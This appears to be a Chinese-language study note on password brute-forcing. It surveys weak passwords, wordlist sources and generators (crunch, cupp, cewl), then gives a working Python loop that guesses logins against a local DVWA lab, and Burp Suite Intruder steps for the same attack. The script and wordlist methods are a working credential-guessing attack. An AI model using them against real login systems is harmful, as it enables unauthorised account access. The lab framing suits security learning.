密码暴力猜解
不安全的密码
密码字典(dict)
python暴力破解(low级别)
burpsuite爆破登录密码或账号
1.默认密码
000000 123456
空密码
身份证号后六位手机号后六位
2.弱口令 (短少的数字)
https://nordpass.com/most-common-passwords-list/
3.裤子(脱裤子,撞库)
密码验证是否泄漏: https://haveibeenpwned.com/
字典从哪里来?
一。通用字典(word list、dict):
1、Kali自带
2、网络下载(百度、github)注意使用场合:比如Web网站密码字典、WiFi密码字典、操作系统用户密码字典、数据库密码字典 如 github.com/TgeaUs/Weak-password
二。专用字典
1、指定格式字典,比如生日、手机号、QQ号
crunch -h
详见本站 /E:/passwd/crunch字典生成工具.pdf
2、社工字典 cupp、ccupp
cupp (根据身份信息和社会关系分析)kali下载
ccupp 网上搜工具
3、文章内容字典
命令 cewl https://sqlmap.org -w dict.txt
实验环境:dvwa登进去后,low级别
思路(个人理解):
核心:模拟不断试密码的过程,因为这个环境可以不断试密码,直到成功时即--> 没有回复~~incorrec时
官方完整实现过程·:
1、从字典读取值,生成密码
2、HTTP连接到需要暴破的地址
3、获得HTTP响应,分析响应结果,看看有没有错误提示“Username and/or password incorrect.”
4、如果有提示,就继续下一次循环
5、如果没有,就代表暴破成功
个人理解过程:
1.准备密码字典
2.python代码(向服务器发送请求,直到response(响应)中不在有~~incorrect字段则成功)
params={'username':username,'password':f'{pwd.strip()}','Login':'Login'}
headers=
{"Cookie": "PHPSESSID=eqhqj63kk39q849u1g96ajl8mv; security=low"}
注意:1.请求参数要有cookie(个人理解它作用就是一种判断用户是否登录的标记,cookie最开始是由服务器发送给用户并存储在用户浏览器中,内容有用户登录状态,偏好等。故一般有了cookie就(才)能实现登录)。
所以如果没有cookie就无法进入登录后的状态,因为本实验只有在登录后才起效
2.cookie的书写(自己第一次写带cookie参数的错写成Cookies,卡了半小时才发现哈哈哈);以及参数的字典格式
自己尝试写的代码,参数有错(记录一下哈)
import requests
username='admin'
tay = open("E:\passwd\常用密码.dict")
for pwd in tay:
print(pwd)
url=f'http://127.0.0.1/vulnerabilities/brute/?username={username}&password=666&Login=Login'
resp=requests.get(url=url,headers={"cookies" :"PHPSESSID=eqhqj63kk39q849u1g96ajl8mv; security=low"})
print(resp.text)
break
正确代码
import requests
username='admin'
tay = open("E:\passwd\常用密码.dict")
for pwd in tay:
url='http://127.0.0.1/vulnerabilities/brute/'
resp = requests.get(url=url,params={'username':username,'password':f'{pwd.strip()}','Login':'Login'}, headers={"Cookie": "PHPSESSID=eqhqj63kk39q849u1g96ajl8mv; security=low"})
if 'Username and/or password incorrect.' in resp.text:
print(f'no!{pwd}')
else:
print("OK!")
print(f'it is {pwd}')
break
实验环境 bp代理以及intruder功能,火狐代理
过程:
1.两个代理都打开后,对监听端口进行拦截操作。
2.浏览器进行登录操作并用拦截到响应的登录后的包(抓准确)
3.发送到intruder选择攻击方式,这里选择Cluster bomb()<因为这里要破解用户名+密码>,再给相应字段设置payload
所用攻击方式:
Sniper狙击手 Battering ram攻城锤 Pitchfork 草叉 Cluster bomb榴霰[xiàn]弹